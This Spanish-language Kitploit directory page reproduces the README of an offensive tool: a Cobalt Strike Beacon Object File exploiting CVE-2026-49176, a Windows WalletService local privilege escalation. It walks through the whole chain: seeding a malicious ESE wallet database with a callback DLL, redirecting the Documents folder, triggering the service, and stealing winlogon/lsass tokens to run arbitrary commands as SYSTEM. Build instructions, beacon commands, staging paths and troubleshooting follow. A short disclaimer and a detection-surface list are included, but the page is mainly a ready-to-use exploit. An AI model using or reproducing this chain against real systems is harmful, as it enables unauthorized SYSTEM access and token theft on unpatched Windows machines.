Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-49176_BOF — CVE-2026-49176 WalletService LPE — PoC independiente + BOF de Cobalt Strike (comando SYSTEM en sesión interactiva) | Kitploit
Herramientas/GitHubGitHub/777erp/cve-2026-49176_bof
Escalada de PrivilegiosExplotaciónPost-ExplotaciónRed TeamingDesarrollo de Payloads
GitHub777erp/cve-2026-49176_bof

CVE-2026-49176_BOF

CVE-2026-49176 WalletService LPE — PoC independiente + BOF de Cobalt Strike (comando SYSTEM en sesión interactiva)

Ver Repositorio
411hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

BOF de CVE-2026-49176 para Cobalt Strike

Beacon Object File (BOF) de Cobalt Strike para escalada de privilegios local a través del WalletService de Windows (CVE-2026-49176, corregido en julio de 2026).

Desde un Beacon de integridad media (usuario estándar), esta herramienta prepara una base de datos ESE maliciosa de Wallet, redirige Documentos, activa WalletService y ejecuta una línea de comandos especificada por el llamador como NT AUTHORITY\SYSTEM en el escritorio interactivo.

Solo BOF.
PoC independiente original en PowerShell: DavidCarliez/CVE-2026-49176_LPE_POC. Misma causa raíz de la vulnerabilidad; distinta entrega y lanzamiento del proceso posterior a SYSTEM.


Descargo de responsabilidad

Solo para investigación de seguridad autorizada, educación y validación defensiva.


Vulnerabilidad (compartida con el PoC original)

WalletService resuelve FOLDERID_Documents mientras suplanta al llamador y luego vuelve a LocalSystem antes de abrir:

root@kitploit:~
<Documents>\Wallet\wallet.db

Un usuario estándar puede sembrar esa base de datos con una devolución de llamada predeterminada definida por el usuario de ESE (PATH\payload.dll!Export), apuntar Documentos a un directorio controlado y llamar a WinRT WalletManager.RequestStoreAsync / GetItemsAsync para que el servicio cargue la DLL como SYSTEM.

Artículo: CVE-2026-49176 Exploit Development: WalletService to SYSTEM


BOF vs PoC original — ruta de escalada de privilegios

Igual: cómo se obtiene la ejecución de código como SYSTEM

root@kitploit:~
Standard user
  → seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
  → SHSetKnownFolderPath(FOLDERID_Documents) → staging root
  → trigger WalletService (WinRT RequestStore / GetItems)
  → service opens DB as LocalSystem → LoadLibrary(callback DLL)
  → attacker code runs as SYSTEM   ← LPE complete

Diferente: proceso SYSTEM interactivo tras la devolución de llamada

WalletService suele usar un token SYSTEM filtrado (sin SeAssignPrimaryToken / SeImpersonate utilizables). CreateProcess* directo → 1314.

root@kitploit:~
Original PoC (post-SYSTEM):
  DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe

This BOF (post-SYSTEM):
  DLL → steal winlogon/services/lsass token → spawn <command>
     → else CreateService(cmd /c broker) → broker → spawn <command>

Características

  • Un único comando de Beacon para cualquier comando/archivo como SYSTEM en el escritorio activo
  • Cadena completa en el proceso: preparar → sembrar → redirigir → activar → esperar → restaurar Documentos
  • Empaqueta wallet_callback.dll + shell_broker.exe mediante bof_pack("bbZ")
  • Lanzamiento post-SYSTEM multiestrategia + diagnósticos de result.txt
  • Solo x64

Requisitos

ElementoRequisito

Estructura

root@kitploit:~
bof/
├── README.md
├── entry.cpp                 # BOF orchestrator (go)
├── bofdefs.h / beacon.h
├── beacon-debug.h
├── cve2026_49176.cna
├── build.bat
├── payload/
│   ├── wallet_callback.c
│   └── shell_broker.c
├── bin/
│   ├── BOF/cve2026_49176.x64.o
│   └── payload/
│       ├── wallet_callback.dll
│       └── shell_broker.exe
└── resources/strip_bof.ps1

Compilación

root@kitploit:~
cd bof
build.bat
ComandoResultado
build.bat / build.bat bothDLL + broker + BOF x64
build.bat payloadSolo DLL + broker
build.bat cleanEliminar artefactos
root@kitploit:~
bin\payload\wallet_callback.dll
bin\payload\shell_broker.exe
bin\BOF\cve2026_49176.x64.o

Edite las rutas de VCVARS64 en build.bat si VS no está en la ruta predeterminada.
Indicadores críticos: /DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od (seguridad del enlazador para BOF de CS).


Uso

Cargar

Cobalt Strike → Scripts → Load → cve2026_49176.cna
(Vuelva a cargar después de cada recompilación).

Comandos

root@kitploit:~
beacon> cve2026_49176 C:\Windows\System32\cmd.exe
beacon> cve2026_49176 C:\Windows\Temp\payload.exe
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt
  • No use comillas exteriores si la ruta no tiene espacios.
  • Menú opcional: Beacon → CVE-2026-49176 → Ejecutar comando como SYSTEM...

Preparación en el objetivo

root@kitploit:~
%LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176_<tick>_<pid>\
├── Wallet\wallet.db
└── payload\
    ├── wallet_callback.dll
    ├── shell_broker.exe
    ├── command.txt          # UTF-16 LE
    └── result.txt

Empaquetado

root@kitploit:~
bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)

Resultado esperado

Línea de tarea

root@kitploit:~
[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]

Éxito (ilustrativo)

root@kitploit:~
[*] CVE-2026-49176 BOF enter (args=...)
[*] parsed dll_len=... broker_len=... cmd_bytes=...
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: ...
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: ...
[+] CVE-2026-49176 BOF complete

detail= puede ser winlogon, services, lsass, o una ruta del broker.

Fallos comunes

Los Documentos se restauran incluso ante un fallo si la redirección se realizó correctamente.


Arquitectura

root@kitploit:~
cve2026_49176.cna
  └─ inline-execute(entry.o, go, bbZ)
        entry.cpp
          ├─ stage files under %LOCALAPPDATA%
          ├─ Jet*A seed wallet.db
          ├─ SHSetKnownFolderPath(Documents)
          ├─ WinRT WalletManager trigger
          └─ wait result.txt + restore Documents

wallet_callback.dll (WalletService, SYSTEM)
  ├─ steal winlogon / services / lsass token → spawn command
  └─ fallback: CreateService(cmd /c shell_broker)

shell_broker.exe
  └─ command.txt → CreateProcessAsUser (interactive session)

Superficie de detección

  • Cambio de la carpeta conocida Documentos
  • %LOCALAPPDATA%\CVE-2026-49176-BOF\* + wallet.db + DLL de devolución de llamada
  • WalletService cargando una DLL escribible por el usuario
  • OpenProcess / APIs de token contra winlogon/lsass/services
  • Servicios de corta duración CVE49176_*
  • CreateProcessAsUserW / CreateProcessWithTokenW hacia sesiones interactivas

Limitaciones

  • Solo x64; se requiere WalletService sin parchear
  • La API WinRT de Wallet puede no estar disponible o estar en desuso en algunas compilaciones
  • El directorio de staging no se elimina automáticamente
  • ESE/WinRT se ejecutan dentro de Beacon (riesgo de caída frente al PoC original aislado en proceso)

Relacionados

EnlaceDescripción
DavidCarliez/CVE-2026-49176_LPE_POCPoC LPE independiente original (PoC de investigación upstream)
ArtículoArtículo de investigación original
Descargar herramienta
EtapaPoC originalEste BOF
Sembrar BD ESEwallet_ese_seed.exeEn el BOF Jet*A
Redirigir Documentosdocuments_path.exeEn el BOF SHGet/SetKnownFolderPath
Activar WalletPowerShell WinRTEn el BOF RoGetActivationFactory
DLL de devolución de llamadawallet_callback_shell.dllwallet_callback.dll
PoC originalEste BOF
Proceso objetivocmd.exe codificadoLínea de comandos proporcionada por el operador
Método principalServicio temporal → shell_broker.exe → CreateProcessAsUserWRobo de token de winlogon / services / lsass → lanzar
AlternativaNingunaSCM + cmd.exe /c "shell_broker.exe" "result.txt"
Beaconx64, integridad media (no elevado)
ObjetivoWalletService vulnerable (anterior al parche de julio de 2026)
CSCobalt Strike 4.x con soporte de BOF
CompilaciónVS 2019/2022 C++ + Windows 10 SDK (esent.h, WinRT)
LogSignificado
JetAddColumn: -1003Problema de parámetros de ESE
error=1314SYSTEM filtrado; se necesita robo de token / broker
STEAL_FAIL error=5No se puede abrir el proceso/token objetivo
StartService error=32Infracción de uso compartido (mitigada mediante el contenedor de cmd)
detail=all_methodsTodas las estrategias post-SYSTEM fallaron
Enlazador Unknown symbol '??_C@_...'Malas opciones de compilación del BOF; recompile con build.bat